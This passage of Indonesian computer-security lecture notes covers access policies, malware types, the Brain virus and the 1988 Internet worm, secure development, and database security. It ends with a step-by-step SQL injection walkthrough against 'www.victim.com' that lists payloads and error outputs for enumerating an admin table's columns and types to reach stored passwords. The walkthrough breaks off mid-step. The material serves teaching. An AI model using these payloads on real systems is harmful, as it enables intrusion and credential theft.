1. Public
: Kurang sensitive dibandingkan proprietary
2. Proprietary (kepemilikan) : Kurang sensitive dibandingkan internal
3. Internal
: lebih bersifat privacy

5.5.3 KEBIJAKAN PERLINDUNGAN TEMBOK CHINA


Tiga tingkat abstraksi kebijakan yang dibangun adalah:
1. Objek. Pada tingkatan terendah adalah objek dasar seperti file. Setiap file berisi informasi hanya mengenai
saru perusahaan
2. Group perusahaan. Pada tingkat berikutnya, semua objek mengenai perusahaan yang dikelompokkan
bersama
3. Kelas-kelas konflik. Pada level teratas, semau group objek untuk perusahaan yang berkomptesi di
kelompokkan (cluster)

Halaman | 28

6 MALICIOUS SOFTWARE
(PROGRAM-PROGRAM BERBAHAYA)
Jenis-jenis malicious code (program berbahaya) adalah sebagai berikut:
Virus merupakan program yang mampu untuk membuat replikasi (tiruan) dirinya sendiri dan menyisipkan kode
berbahayanya ke dalam program lain yang dimodifikasinya, virus dapat berdiam diri (transient) di dalam host
selama host tersebut masih aktif serta dapat melokasikan dirinya di dalam memori (resident).
Trojan horse adalah program yang kelihatannya berguna, namun sebenarnya merupakan program yang
biasanya digunakan untuk mengintai sistem target.
Logic bomb melakukan aksinya ketika suatu kondisi terpenuhi. Time bomb merupakan logic bomb yang
pemicunya menggunakan waktu atau tanggal.
Trapdoor atau backdoor merupakan fitur dalam program yang digunakan oleh seseorang untuk dapat
mengakses program lain dengan jelas, panggilan langsung, atau dengan hak istimewa khusus.
Worm adalah program yang mampu menyebarkan salinannya melalui jaringan.
Rabbit adalah jenis virus atau worm yang me-replikasi dirinya tidak terbatas dengan maksud menghabiskan
sumber daya computer yang diserangnya.

6.1 CARA KERJA VIRUS


Program virus menyisipkan dirinya ke suatu program executable pada alamat sebelum instruksi pertama
program, kemudian ketika program itu dijalankan, semua instruksi virus akan di-eksekusi terlebih dahulu,
setelah instruksi terakhir virus, alir control instruksi dikembalikan pada program yang asli.

Gambar 6.1 virus yang ditambahkan pada suau program

Gambar 6.2 virus di sekeliling program


Halaman | 29

Gambar 6.3 virus terintegrasi ke dalam program


Beberapa jenis virus lainnya mampu masuk ke dalam dokumen yang disebut virus dokumen misalnya dokumen
surat, database, slide presentasi, gambar, atau spreadsheet.

6.2 BAGAIMANA VIRUS MEMPEROLEH KONTROL


Virus (V) harus dilibatkan dari pada target (T), utamanya virus harus kelihatan seperti T. virus dapat
mengasumsi nama T dengan menganti (atau bergabung) ke kode T dalam struktur file. Virus dapat mengganti T
dalam penyimpanan atau alternative lain, virus dapat mengubah pointer dalam table file sehingga pada saat T
diakses melalui file system namun yang dialokasikan adalah virus.

Gambar 6.4 virus secara lengkap mengganti program


Kualisifikasi virus yang dibuat adalah:
Sulit untuk dideteksi
Tidak mudah untuk dihancurkan dan di non-aktifkan
Menyebarkan infeksinya secara melebar
Dapat menginfeksi ke program lain
Mudah untuk dibuat
Merupakan mesin independent dan system operasi independent

6.3 BEBERAPA CARA VIRUS BERDIAM DIRI DAN AKTIF


One-time Execution
Virus ini hanya dieksekusi sekali saja, menyebarkan infeksinya dan menyebabkan pengaruhnya dalam sekali
eksekusi. Virus ini biasanya terdapat pada dokumen atau lampiran dari sebuah e-mail.
Boot Sector
Virus jenis ini menyimpan dirinya ke dalam suatu sector awal dari media penyimpan yang biasanya digunakan
untuk pemanggilan system operasi (bootstrap).
Halaman | 30

Gambar 6.5 virus bootsector


Virus Memory-Resident
Virus ini biasanya akan selau menetap di dalam memori disaat aktif. Memory resident akan aktif selama system
operasi berjalan.
Efek virus
Menyisip ke dalam program eksekusi
Menyisip ke data atau file kontrol

Menetap di memori
Menginfeksi disk

Menyembunyikan dirinya
Menyebarkan infeksi

Mencegah tindakan pe-non-aktifan

Caranya
Memodifikasi file direktori
Menuliskan ke file program ekseskusi
Memodifikasi direktori
Menulis ulang data
Menambah ke data
Menambahkan data ke dirinya
Mencegat interrupt dengan memodifikasi table alamat interrupt handler
Memanggil dirinya dalam area memori nontransient (tetap)
Mencegat interrupt
Mencegat operasting system call (misalnya format disk)
Memodifikasi file system
Memodifikasi program executable
Mencegat system calls yang menyatakan dirinya dan memalsukan
hasilnya
Menggolongkan dirinya sebagai file hidden
Infeksi boot sector
Infeksi program system
Infeksi program biasa
Infeksi program biasa pembacaan data untuk mengontrol eksekusinya
Aktifasi sebelum me-non-aktifasi program dan memblok pen-nonaktifan
Menyimpan salinan untuk menginfeksi ulang sesudah pe-non-aktifan

Virus Polymorphic, merupakan jenis virus yang dapat mengubah pola-pola bentuk kode programnya sendiri
secara acak, sehingga menyulitkan antivirus untuk mendeteksinya.
Beberapa teknik untuk membangun suatu komunitas yang aman untuk berhubungan dengan hal-hal elektronik
adalah sebagai berikut:
Gunakan hanya software komersial yang diperoleh dari yang dapat dipercaya, vendor yang handal
Uji semua software dalam komputer yang terisolasi
Buka attachment (file lampiran) hanya jika kita tahu bahawa itu aman
Membuat sebuah recoverable system image dan menyimpannya dengan aman
Buatkan dan pertahankan salinan backup dari file system eksekusi
Gunakan antivirus dan selalu meng-update secara berkala

Halaman | 31

Beberapa klaim tentang virus:

Viruses can infect only Microsoft Windows systems. False. Among students and office workers, PCs running
Windows are popular computers, and there may be more people writing software (and viruses) for them
than for any other kind of processor. Thus, the PC is most frequently the target when someone decides to
write a virus. However, the principles of virus attachment and infection apply equally to other processors,
including Macintosh computers, Unix and Linux workstations, and mainframe computers. Cell phones and
PDAs are now also virus targets. In fact, no writeable stored-program computer is immune to possible virus
attack. This situation means that all devices containing computer code, including automobiles, airplanes,
microwave ovens, radios, televisions, voting machines, and radiation therapy machines have the potential
for being infected by a virus.

Viruses can modify "hidden" or "read-only" files. True. We may try to protect files by using two operating
system mechanisms. First, we can make a file a hidden file so that a user or program listing all files on a
storage device will not see the file's name. Second, we can apply a read-only protection to the file so that the
user cannot change the file's contents. However, each of these protections is applied by software, and virus
software can override the native software's protection. Moreover, software protection is layered, with the
operating system providing the most elementary protection. If a secure operating system obtains control
before a virus contaminator has executed, the operating system can prevent contamination as long as it
blocks the attacks the virus will make.

Viruses can appear only in data files, or only in Word documents, or only in programs. False. What are data?
What is an executable file? The distinction between these two concepts is not always clear, because a data
file can control how a program executes and even cause a program to execute. Sometimes a data file lists
steps to be taken by the program that reads the data, and these steps can include executing a program. For
example, some applications contain a configuration file whose data are exactly such steps. Similarly, wordprocessing document files may contain startup commands to execute when the document is opened; these
startup commands can contain malicious code. Although, strictly speaking, a virus can activate and spread
only when a program executes, in fact, data files are acted on by programs. Clever virus writers have been
able to make data control files that cause programs to do many things, including pass along copies of the
virus to other data files.

Viruses spread only on disks or only through e-mail. False. File-sharing is often done as one user provides a
copy of a file to another user by writing the file on a transportable disk. However, any means of electronic
file transfer will work. A file can be placed in a network's library or posted on a bulletin board. It can be
attached to an e-mail message or made available for download from a web site. Any mechanism for sharing
filesof programs, data, documents, and so forthcan be used to transfer a virus.

Viruses cannot remain in memory after a complete power off/power on reboot. True, but . . . If a virus is
resident in memory, the virus is lost when the memory loses power. That is, computer memory (RAM) is
volatile, so all contents are deleted when power is lost.[2] However, viruses written to disk certainly can
remain through a reboot cycle. Thus, you can receive a virus infection, the virus can be written to disk (or to
network storage), you can turn the machine off and back on, and the virus can be reactivated during the
reboot. Boot sector viruses gain control when a machine reboots (whether it is a hardware or software
reboot), so a boot sector virus may remain through a reboot cycle because it activates immediately when a
reboot has completed.

Viruses cannot infect hardware. True. Viruses can infect only things they can modify; memory, executable
files, and data are the primary targets. If hardware contains writeable storage (so-called firmware) that can
be accessed under program control, that storage is subject to virus attack. There have been a few instances
of firmware viruses. Because a virus can control hardware that is subject to program control, it may seem as
if a hardware device has been infected by a virus, but it is really the software driving the hardware that has
been infected. Viruses can also exercise hardware in any way a program can. Thus, for example, a virus could
cause a disk to loop incessantly, moving to the innermost track then the outermost and back again to the
innermost.

Viruses can be malevolent, benign, or benevolent. True. Not all viruses are bad. For example, a virus might
locate uninfected programs, compress them so that they occupy less memory, and insert a copy of a routine
that decompresses the program when its execution begins. At the same time, the virus is spreading the
compression function to other programs. This virus could substantially reduce the amount of storage
Halaman | 32

required for stored programs, possibly by up to 50 percent. However, the compression would be done at the
request of the virus, not at the request, or even knowledge, of the program owner.
Contoh program berbahaya: Virus Brain
One of the earliest viruses is also one of the most intensively studied. The so-called Brain virus was given its
name because it changes the label of any disk it attacks to the word "BRAIN." This particular virus, believed to
have originated in Pakistan, attacks PCs running an old Microsoft operating system. Numerous variants have
been produced; because of the number of variants, people believe that the source code of the virus was released
to the underground virus community.
What It Does
The Brain, like all viruses, seeks to pass on its infection. This virus first locates itself in upper memory and then
executes a system call to reset the upper memory bound below itself so that it is not disturbed as it works. It
traps interrupt number 19 (disk read) by resetting the interrupt address table to point to it and then sets the
address for interrupt number 6 (unused) to the former address of the interrupt 19. In this way, the virus screens
disk read calls, handling any that would read the boot sector (passing back the original boot contents that were
moved to one of the bad sectors); other disk calls go to the normal disk read handler, through interrupt 6.
The Brain virus appears to have no effect other than passing its infection, as if it were an experiment or a proof of
concept. However, variants of the virus erase disks or destroy the file allocation table (the table that shows
which files are where on a storage medium).
How It Spreads
The Brain virus positions itself in the boot sector and in six other sectors of the disk. One of the six sectors will
contain the original boot code, moved there from the original boot sector, while two others contain the
remaining code of the virus. The remaining three sectors contain a duplicate of the others. The virus marks these
six sectors "faulty" so that the operating system will not try to use them. (With low-level calls, you can force the
disk drive to read from what the operating system has marked as bad sectors.) The virus allows the boot process
to continue.
Once established in memory, the virus intercepts disk read requests for the disk drive under attack. With each
read, the virus reads the disk boot sector and inspects the fifth and sixth bytes for the hexadecimal value 1234
(its signature). If it finds that value, it concludes that the disk is infected; if not, it infects the disk as described in
the previous paragraph.
What Was Learned
This virus uses some of the standard tricks of viruses, such as hiding in the boot sector, and intercepting and
screening interrupts. The virus is almost a prototype for later efforts. In fact, many other virus writers seem to
have patterned their work on this basic virus. Thus, one could say it was a useful learning tool for the virus
writer community.
Sadly, its infection did not raise public consciousness of viruses, other than a certain amount of fear and
misunderstanding. Subsequent viruses, such as the Lehigh virus that swept through the computers of Lehigh
University, the nVIR viruses that sprang from prototype code posted on bulletin boards, and the Scores virus that
was first found at NASA in Washington D.C. circulated more widely and with greater effect. Fortunately, most
viruses seen to date have a modest effect, such as displaying a message or emitting a sound. That is, however, a
matter of luck, since the writers who could put together the simpler viruses obviously had all the talent and
knowledge to make much more malevolent viruses.
There is no general cure for viruses. Virus scanners are effective against today's known viruses and general
patterns of infection, but they cannot counter tomorrow's variant. The only sure prevention is complete isolation
from outside contamination, which is not feasible; in fact, you may even get a virus from the software
applications you buy from reputable vendors.
Contoh lain : Internet Worm
On the evening of 2 November 1988, a worm was released to the Internet[3], causing serious damage to the
network. Not only were many systems infected, but also when word of the problem spread, many more
uninfected systems severed their network connections to prevent themselves from getting infected. Spafford and
his team at Purdue University and Eichen and Rochlis at M.I.T. studied the worm extensively, and Orman did an
interesting retrospective analysis 15 years after the incident.
Halaman | 33

[3] Note: This incident is normally called a "worm," although it shares most of the characteristics of viruses.
The perpetrator was Robert T. Morris, Jr., a graduate student at Cornell University who created and released the
worm. He was convicted in 1990 of violating the 1986 Computer Fraud and Abuse Act, section 1030 of U.S. Code
Title 18. He received a fine of $10,000, a three-year suspended jail sentence, and was required to perform 400
hours of community service. (See Denning [DEN90b] for a discussion of this punishment.)
What It Did
Judging from its code, Morris programmed the Internet worm to accomplish three main objectives:
Determine where it could spread to.
Spread its infection.
Remain undiscovered and undiscoverable.
What Effect It Had
The worm's primary effect was resource exhaustion. Its source code indicated that the worm was supposed to
check whether a target host was already infected; if so, the worm would negotiate so that either the existing
infection or the new infector would terminate. However, because of a supposed flaw in the code, many new
copies did not terminate. As a result, an infected machine soon became burdened with many copies of the worm,
all busily attempting to spread the infection. Thus, the primary observable effect was serious degradation in
performance of affected machines.
A second-order effect was the disconnection of many systems from the Internet. System administrators tried to
sever their connection with the Internet, either because their machines were already infected and the system
administrators wanted to keep the worm's processes from looking for sites to which to spread or because their
machines were not yet infected and the staff wanted to avoid having them become so.
The disconnection led to a third-order effect: isolation and inability to perform necessary work. Disconnected
systems could not communicate with other systems to carry on the normal research, collaboration, business, or
information exchange users expected. System administrators on disconnected systems could not use the
network to exchange information with their counterparts at other installations, so status and containment or
recovery information was unavailable.
The worm caused an estimated 6,000 installations to shut down or disconnect from the Internet. In total, several
thousand systems were disconnected for several days, and several hundred of these systems were closed to
users for a day or more while they were disconnected. Estimates of the cost of the damage range from $100,000
to $97 million.
How It Worked
The worm exploited several known flaws and configuration failures of Berkeley version 4 of the Unix operating
system. It accomplishedor had code that appeared to try to accomplishits three objectives.
Determine where to spread. The worm had three techniques for locating potential machines to victimize. It first
tried to find user accounts to invade on the target machine. In parallel, the worm tried to exploit a bug in the
finger program and then to use a trapdoor in the sendmail mail handler. All three of these security flaws were
well known in the general Unix community.
The first security flaw was a joint user and system error, in which the worm tried guessing passwords and
succeeded when it found one. The Unix password file is stored in encrypted form, but the ciphertext in the file is
readable by anyone. (This visibility is the system error.) The worm encrypted various popular passwords and
compared their ciphertext to the ciphertext of the stored password file. The worm tried the account name, the
owner's name, and a short list of 432 common passwords (such as "guest," "password," "help," "coffee," "coke,"
"aaa"). If none of these succeeded, the worm used the dictionary file stored on the system for use by application
spelling checkers. (Choosing a recognizable password is the user error.) When it got a match, the worm could log
in to the corresponding account by presenting the plaintext password. Then, as a user, the worm could look for
other machines to which the user could obtain access. (See the article by Robert T. Morris, Sr. and Ken Thompson
[MOR79] on selection of good passwords, published a decade before the worm, and the section in Chapter 4 on
passwords people choose.)
The second flaw concerned fingerd, the program that runs continuously to respond to other computers' requests
for information about system users. The security flaw involved causing the input buffer to overflow, spilling into
Halaman | 34

the return address stack. Thus, when the finger call terminated, fingerd executed instructions that had been
pushed there as another part of the buffer overflow, causing the worm to be connected to a remote shell.
The third flaw involved a trapdoor in the sendmail program. Ordinarily, this program runs in the background,
awaiting signals from others wanting to send mail to the system. When it receives such a signal, sendmail gets a
destination address, which it verifies, and then begins a dialog to receive the message. However, when running in
debugging mode, the worm causes sendmail to receive and execute a command string instead of the destination
address.
Spread infection. Having found a suitable target machine, the worm would use one of these three methods to
send a bootstrap loader to the target machine. This loader consisted of 99 lines of C code to be compiled and
executed on the target machine. The bootstrap loader would then fetch the rest of the worm from the sending
host machine. An element of good computer securityor stealthwas built into the exchange between the host and
the target. When the target's bootstrap requested the rest of the worm, the worm supplied a one-time password
back to the host. Without this password, the host would immediately break the connection to the target,
presumably in an effort to ensure against "rogue" bootstraps (ones that a real administrator might develop to try
to obtain a copy of the rest of the worm for subsequent analysis).
Remain undiscovered and undiscoverable. The worm went to considerable lengths to prevent its discovery once
established on a host. For instance, if a transmission error occurred while the rest of the worm was being
fetched, the loader zeroed and then deleted all code already transferred and then exited.
As soon as the worm received its full code, it brought the code into memory, encrypted it, and deleted the
original copies from disk. Thus, no traces were left on disk, and even a memory dump would not readily expose
the worm's code. The worm periodically changed its name and process identifier so that no single name would
run up a large amount of computing time.
What Was Learned
The Internet worm sent a shock wave through the Internet community, which at that time was largely populated
by academics and researchers. The affected sites closed some of the loopholes exploited by the worm and
generally tightened security. Some users changed passwords. Two researchers, Farmer and Spafford [FAR90],
developed a program for system administrators to check for some of the same flaws the worm exploited.
However, security analysts checking for site vulnerabilities across the Internet find that many of the same
security flaws still exist today. A new attack on the Internet would not succeed on the same scale as the Internet
worm, but it could still cause significant inconvenience to many.
The Internet worm was benign in that it only spread to other systems but did not destroy any part of them. It
collected sensitive data, such as account passwords, but it did not retain them. While acting as a user, the worm
could have deleted or overwritten files, distributed them elsewhere, or encrypted them and held them for
ransom. The next worm may not be so benign.
The worm's effects stirred several people to action. One positive outcome from this experience was development
of an infrastructure for reporting and correcting malicious and nonmalicious code flaws. The Internet worm
occurred at about the same time that Cliff Stoll [STO89] reported his problems in tracking an electronic intruder
(and his subsequent difficulty in finding anyone to deal with the case). The computer community realized it
needed to organize. The resulting Computer Emergency Response Team (CERT) at Carnegie Mellon University
was formed; it and similar response centers around the world have done an excellent job of collecting and
disseminating information on malicious code attacks and their countermeasures. System administrators now
exchange information on problems and solutions. Security comes from informed protection and action, not from
ignorance and inaction.

Halaman | 35

6.4 KONTROL MENGHADAPI PROGRAM PENGANCAM


6.4.1 PENGONTROLAN DEVELOPMENTAL
Pengembangan software membutuhkan orang-orang yang dapat:
Spesifikasikan system dengan menangkap kebutuhan-kebuituhan dan membangun model bagaimanan
system seharusnya bekerja daru sisi pandang pengguna
Merancang system, dengan mengusulkan solusi pada masalah yang diuraikan oleh kebutuhan dan
membangun model dari solusi
Mengimplementasikan system dengan menggunakan rancangan sebagai blueprint untuk membangun solusi
kerja
Uji coba system untuk menyakinkan bahwa antara kebutuhan dan implementasi solusi sesuai seperti apa
yang disebutkan dalam rancangan
Meninjau (review) system dalam berbagai langkah, untuk menyakinkan bahwa produk konsisten dengan
spesifikasi dan model rancangan
Mendokumentasikan system, sehingga user dapat dilatih dan didukung
Mengatur system untuk mengestimasi sumber daya apa yang akan dibutuhkan untuk pengembangan dan
melacak kapan system akan selesai
Perawatan system, melacak permasalahan, perubahan yang dibutuhkan dan perubahan pembuatan serta
mengevaluasi pengaruhnya dalam seluruh kualitas dan fungsinya.

6.4.2 MODULARITAS, ENKAPSULASI DAN PENYEMBUNYIAN INFORMASI


Modularization adalah proses untuk membagi tugas menjadi subtugas-subtugas. Pembagian ini diselesaikan
dalam bentuk logika atau basis fungsi. Modularity bertujuan untuk setiap komponen bertemu dengan empat
kondisi:
1.
2.
3.
4.

Bertujuan tunggal: melakukan satu fungsi


Kecil: terdiri dari sejumlah informasi di mana [satu] manusia bisa siap menyerap keduanya, yaitu struktur
dan isi
Sederhana: yaitu derajat rendah kompleksitas sehingga manusia dapat memahami tujuan dan struktur dari
modul
Independent: melakukan tugas terisolasi dari modul lain

Gambar 6.6 Modularitas


Beberapa manfaat mempunyai komponen kecil dan independent:
Perawatan (maintenance). Jika komponen mengimplemntasi fungsi tunggal, komponen tersebut dapat
diganti dengan mudah dengan direvisi salah satunya jika diperlukan.
Mudah dipahami
Halaman | 36

Dapat digunakan ulang (reuse)


Ketepatan. Kesalahan dapat dilacak dengan cepat
Uji coba. Sebuah komponen tunggal dengan input dirumuskan dengan baik, output, dan fungsi dapat diuji
secara mendalam dengan sendirinya, tanpa memperhatikan pengaruhnya terhadap modul lain.

Encapsulation menyembunyikan rincian implementasi komponen, tetapi itu tidak perlu berarti melengkapi
isolasi. Banyak komponen harus membagi informasi dengan komponen lain, biasanya dengan alasan yang tepat.
Penyembunyian informasi sangat dibutuhkan karena pengembang tidak akan mudah mengubah komponen jika
mereka tidak tahu bagaimana komponen tersbeut bekerja.
Beberapa relasi-rancangan proses aktifitas yang dapat membantu dalam membangun software yang aman:
Menggunakan filosofi toleransi kesalahan (kegagalan)
Mempunyai satu kebijakan konsisten untuk penanganan kegagalan
Menangkap dasar pemikiran dan history
Menggunakan pola rancangan
Pada umumnya jenis kegagalan adalah kesalahan dalam menyediakan pelayanan, menyediakan pelayanan atau
data yang salah dan data yang korup.
Kita dapat membangun rancangan penanganan kesalahan tiap masalah dengan memilih salah satu dari tiga cara:
1. Retrying: memugar kembali system ke status sebelumnya dan melakukan pelayanan lagi, menggunakan
strategi yang berbeda.
2. Correcting: memugar kembali system ke status sebelumnya, memperbaiki beberapa karakteristik system
dan melakukan pelayanan lagi menggunakan strategi yang sama.
3. Reporting: memugar kembali system ke status sebelumnya, melaporkan masalah ke komponen
penanganan-kesalahan dan tidak menyediakan pelayanan lagi.
Pembuktian ketepatan program memiliki beberapa faktor yaitu:
Bukti ketepatan tergantung pada seorang programmer atau ahli logika untuk menerjemahkan satu
pernyataan program menjadi implikasi logis. Pemrograman cenderung akan terjadi error, begitu juga
terjemahan ini
Menghasilkan bukti ketepatan dari awal pernyataan dan implikasi pernyataan cukup sulit, dan mesin logis
untuk membangkitkan bukti berjalan secara perlahan. Kecepatan mesin akan menurun ketika ukuran
program meningkat, sehingga bukti ketepatan bahkan lebih sedikit untuk program besar
Status kini dari program verifikasi tidak lebih baik dikembangkan daripada menghasilkan kode. Hasilnya,
bukti ketepatan tidak akan konsisten atau pun sukses diterapkan pada produksi system besar.

Halaman | 37

7 KEAMANAN DATABASE
7.1 KONSEP DATABASE
Database adalah sekumpulan data dan aturan-atruran yang mengorganisasikan data dengan menetapkan
hubungan yang pasti diantara data. Melalui aturan tersebut user dapat menggambarkan format logika untuk
data.
Database administrator adalah orang yang mendefinisikan aturan yang mengorganisasikan data dan juga
mengontrol siapa saja yang dapat mengakses sebagian data. User berinteraksi dengan database melalui program
yang disebut database manager atau database management system (DBMS) biasanya dikenal dengan istilah
front end.

7.2 KOMPONEN DATABASE


File database tediri dari beberapa record, setiapnya berisi kelompok data yang direlasikan. Setiap record berisi
field-field atau elemen-elemen, sebagai item dasar data. Struktur logika dari database disebut schema. Pengguna
khusus yang dapat mengakses hanya bagian dari database disebut subschema.

Gambar 7.1 hubungan bagian-bagian dari database


Tabel 7-1 Schema database dari Gambar 7-1
Name

First

Address

City

State

Zip

Airport

ADAMS

Charles 212 Market St. Columbus

OH

43210

CMH

ADAMS

Edward 212 Market St. Columbus

OH

43210

CMH

BENCHLY

Zeke

501 Union St.

Chicago

IL

60603

ORD

CARTER

Marlene

411 Elm St.

Columbus

OH

43210

CMH

CARTER

Beth

411 Elm St.

Columbus

OH

43210

CMH

CARTER

Ben

411 Elm St.

Columbus

OH

43210

CMH

CARTER

Lisabeth

411 Elm St.

Columbus

OH

43210

CMH

CARTER

Mary

411 Elm St.

Columbus

OH

43210

CMH

Nama-nama tiap kolom disebut atribut dari database. Relasi adalah kumpulan dari kolom-kolom.

7.3 QUERY
Perintah-perintah dalam database manager agar user dapat berinterkasi dengan DBMS seperti pengambilan,
modifikasi, penambahan dan penghapusan field dan record dari database disebut query. Kebanyakan bahasa
query menggunakan notasi bahasa Inggris. Misalnya:
Halaman | 38

Select Name=Juki
Perintah di atas bermaksud untuk mendapatkan data yang nilai field Name adalah Juki.
Manfaat menggunakan database adalah:
Akses berbagi, sehingga user dapat menggunakan bersama, memusatkan sekumpulan data
Redudansi minimal, sehingga user-user individu tidak perlu mengumpulkan dan merawat kumpulan
datanya sendiri
Konsistensi data, sehingga perubahan nilai data berpengaruh kepada semua user nilai data
Integritas data, sehingga nilai data dilindungi terhadap ketidaksengajaan atau perubahan berbahaya
Akses yang dikontrol, sehingga hanya user yang diberikan otorisasi yang boleh untuk melihat atau
memodifikasi nilai data.

7.4 KEBUTUHAN KEAMANAN DATABASE


Kebutuhan-kebutuhan keamanan database adalah sebagai berikut:
1. Integritas database fisik
2. Integritas database logic
3. Integritas elemen
4. Auditability
5. Kontrol akses
6. User authentication
7. Availability (Ketersediaan)
Suatu software dikatakan reliability bila software tersebut dapat berjalan selama waktu yang panjang tanpa
kegagalan.
Database yang memperhatikan reliability dan integrity dapat dilihat dari tiga dimensi:
a. Database integrity: memperhatikan bahwa database dilindungi terhadap kerusakan, dari kegagalan disk
drive atau perubahan (corrupt) dari indec database master. Perhatian ini dialamatkan oleh kontrol integritas
system operasi dan prosedur perbaikan.
b. Element integrity: memperhatikan bahwa nilai elemen data khusus ditulis dan diubah hanya oleh user yang
berhak. Akses control yang baik melindugi database dari perubahan oleh user yang tidak berhak.
c. Element accuracy: memperhatikan bahwa hanya nilai yang benar ditulis kedalam elemen database.
Beberapa database berisi sensitive data yang seharusnya tidak publikasikan. Beberap faktor yang membuat data
sensitif adalah:
Inherently sensitive. Data itu sendiri yang menyatakannya sensitif
Dari sumber yang sensitif.
Dideklarasikan sensitif
Bagian dari atribut dan record sensitive
Sensitif dalam hubungan dengan informasi yang sebelumnya diperlihatkan.
Faktor-faktor sebagai bahan pertimbangan DBMS ketika memutuskan pengijinan akses database adalah:
Ketersediaan data: data yang dibutuhkan user harus tepat dan tersedia
Hal yang dapat diterima dari akses: salah satu nilai data mungkin saja sensitive dan tidak dapat diakses oleh
sembarang user
Jaminan atas keaslian data
Inference (kesimpulan) adalah cara untuk menyimpulkan atau menurunkan data sensitive dari data non
sensitive.
Dalam direct attack, user mencoba untuk menentukan nilai dari field sensitive dengan mencarinya secara
langsung melalui query yang menghasilkan beberapa record. Sedangkan indirect attack pencarian hasil akhir
berdasarkan dalam satu atau lebih hasil statistical menengah seperti sum, count, mean dan median.
Sebenarnya tidak ada solusi yang tepat dalam masalah inference, namun ada pendekatan-pendakatan untuk
mengontrolnya, yaitu:
Halaman | 39

Pembatasan query yang dapat diterima oleh user yaitu:


o Menekan informasi yang benar-benar sensitive
o Melacak apa yang user ketahui
Penyembunyian data

Data mining adalah proses penyaringan melalui berbagai database dan menghubungkan berbagai elemen data
untuk menemukan informasi yang bermanfaat.

7.5 SQL INJECTION


SQL Injection adalah serangan melalui kode SQL yang telah disisipkan atau ditambahkan ke aplikasi atau
parameter input user yang kemudian akan dilewatkan ke Back-End Server SQL untuk parsing dan eksekusi.
Ilustrasi SQL Injection akan di jelaskan di bawah ini:
Kita akan mengambil contoh di site www.victim.com yang mempunyai dua kelemahan, yaitu: tabel News dan
tabel Admin
Langkah pertama, kita tentukan lubang mana yang bisa di-inject dengan jalan berjalan-jalan (enumeration) dulu
di site tsb. Kita akan menemukan 2 model cara input parameter, yaitu dengan cara memasukkan lewat input box
dan memasukkannya lewat alamat URL.
Kita ambil yang termudah dulu, dengan cara input box. Kemudian kita cari kotak login yang untuk admin.
Ketemu di www.victim.com/sipm/admin/admin.asp Langkah pertama untuk menentukan nama tabel dan
fieldnya, kita inject kotak NIP dengan perintah (password terserah, cabang biarkan aja): having 1=1
jangan lupa untuk menuliskan tanda kutip tunggal dan tanda minus dobel (penting).
Kemudian akan keluar pesan error:

Microsoft OLE DB Provider for ODBC Drivers (080040E14) [Microsoft][ODBC SQL Server Driver][SQL
Server]Column T_ADMIN.NOMOR is invalid in the select list because it is not contained in an aggregate function
and there is no GROUP BY clause. /sipm/admin/dologin.asp, line 7

Keluarlah nama field pertama kita !!!


Catat nama tabel : T_ADMIN
Catat nama field : NOMOR
Kemudian kita akan mencari nama field-field berikutnya, beserta nama tabel yang mungkin berbeda-beda.
Kita inject di kotak NIP (password terserah): group by T_ADMIN.NOMOR having 1=1
Akan keluar pesan error:

Microsoft OLE DB Provider for ODBC Drivers (080040E14) [Microsoft][ODBC SQL Server Driver][SQL
Server]Column T_ADMIN.NIP is invalid in the select list because it is not contained in either an aggregate
function or the GROUP BY clause. /sipm/admin/dologin.asp, line 7

Artinya itulah nama tabel dan field kedua kita. Catat : T_ADMIN.NIP
Kemudian kita cari field ke tiga : group by T_ADMIN.NOMOR,T_ADMIN.NIP having 1=1
Akan keluar pesan error:

Microsoft OLE DB Provider for ODBC Drivers (080040E14) [Microsoft][ODBC SQL Server Driver][SQL
Server]Column T_ADMIN.PASSWORD is invalid in the select list because it is not contained in either an
aggregate function or the GROUP BY clause. /sipm/admin/dologin.asp, line 7

Catat field ke tiga : T_ADMIN.PASSWORD


Lakukan langkah di atas sampai kita menemukan field terakhir.
Berikut adalah pesan error yang terjadi, jika kita mengecek field terakhir dengan meng-inject:
group by T_ADMIN.NOMOR,T_ADMIN.NIP,T_ADMIN.PASSWORD,
T_ADMIN.NAMA,T_ADMIN.KD_RANTING,T_ADMIN.ADDRESS,T_ADMIN.EMAIL having 1=1
Halaman | 40

(catatan : kalimat harus 1 baris, tidak dipotong)

- NIP atau Password atau Unit Anda salah !!


Sukses !!! Kita berhasil menemukan field terakhir.
Daftar kolom (field):
T_ADMIN.NOMOR
T_ADMIN.NIP
T_ADMIN.PASSWORD
T_ADMIN.NAMA
T_ADMIN.KD_RANTING
T_ADMIN.ADDRESS
T_ADMIN.EMAIL
Hanya ada satu tabel untuk otentifikasi ini (yaitu T_ADMIN), ini akan mempermudah proses kita selanjutnya.
Langkah berikutnya, kita menentukan jenis struktur field-field tersebut di atas.
Kita inject di kotak NIP (pass terserah) : union select sum(NOMOR) from T_ADMIN Arti dari query tersebut
adalah : kita coba menerapkan klausa sum sebelum menentukan apakah jumlah kolom-kolom di dua rowsets
adalah sejenis. Bahasa mudahnya adalah kita memasukkan klausa sum (jumlah) yang berlaku untuk type kolom
numerik, jadi untuk type kolom yang bukan numerik, akan keluar error yang bisa memberitahu kita jenis kolom
yang dimaksud.
Pesan error :

Microsoft OLE DB Provider for ODBC Drivers (080040E14) [Microsoft][ODBC SQL Server Driver][SQL
Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions
in their target lists. /sipm/admin/dologin.asp, line 7

artinya kolom NOMOR berjenis numerik.


Berikutnya kita inject : union select sum(NIP) from T_ADMIN
Akan keluar pesan error :

Microsoft OLE DB Provider for ODBC Drivers (080040E07) [Microsoft][ODBC SQL Server Driver][SQL
Server]The sum or average aggregate operation cannot take a char data type as an argument.
/sipm/admin/dologin.asp, line 7

Artinya kolom NIP bertype char.


Kita harus mengulang perintah di atas untuk kolom yang berikutnya dengan jalan mengganti nama_kolom di :
union select sum(nama_kolom) from T_ADMIN
dengan kolom yang berikutnya.
Kita peroleh 7 type kolom:
T_ADMIN.NOMOR => numeric
T_ADMIN.NIP => char
T_ADMIN.PASSWORD => nvarchar
T_ADMIN.NAMA => char
T_ADMIN.KD_RANTING => char
T_ADMIN.ADDRESS => nvarchar
T_ADMIN.EMAIL => char
Langkah berikutnya, kita akan mencari isi kolom password, untuk user admin, dengan meng-inject :
union select min(NAMA),1,1,1,1,1,1 from T_ADMIN where NAMA > a
artinya kita memilih minimum nama user yang lebih besar dari a dan mencoba meng-konvert-nya ke tipe
integer. Arti angka 1 sebanyak 6 kali itu adalah bahwa kita hanya memilih kolom NAMA, dan mengabaikan 6
kolom yang lain. Akan keluar pesan error :

